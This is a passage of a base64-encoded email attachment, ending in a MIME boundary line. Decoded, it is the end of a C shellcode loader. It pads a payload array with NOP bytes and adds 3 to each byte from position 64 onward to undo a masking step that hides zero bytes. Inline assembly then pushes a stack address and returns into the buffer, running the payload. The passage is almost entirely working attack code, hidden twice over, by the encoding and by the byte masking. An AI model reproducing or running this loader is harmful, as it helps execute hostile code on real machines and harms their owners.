ICAvKiBjYWxsICAgLTB4ODEgICAgICAgICAgICAgICAgICovCgoKLy9wYWRkaW5nIHNpemU9Mjcs
IFRPVEFMID0gNTEyCjB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4
OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsCjB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAs
IDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsIDB4OTAsCjB4OTAsIDB4OTAsIDB4
OTAKfTsKY2hhciogcG9pbnRlcjsKCi8vcHJpbnRmKCIlZCIsIHNpemVvZihtb2R1bGVsb2FkZXIp
KTsKLy9yZXR1cm4gMDsKCnsgLy9tYXNxIGFzY2lpIDAgYnl0ZXMKaW50IGk7CmZvcihpPTY0O2k8
NTEyO2krKykKCW1vZHVsZWxvYWRlcltpXSA9IG1vZHVsZWxvYWRlcltpXSszOwp9Cgpwb2ludGVy
ID0gJm1vZHVsZWxvYWRlclswXTsKYXNtIHZvbGF0aWxlICgibW92bCAlZWJwLCAlZWF4Iik7CmFz
bSB2b2xhdGlsZSAoInN1YmwgJDUyMCwgJWVheCIpOwphc20gdm9sYXRpbGUgKCJwdXNobCAlZWF4
Iik7CmFzbSB2b2xhdGlsZSAoInJldCIpOwoKcmV0dXJuIDA7Cn0K
--------------Boundary-00=_89APQQFEIRAKOIUQNL1T--
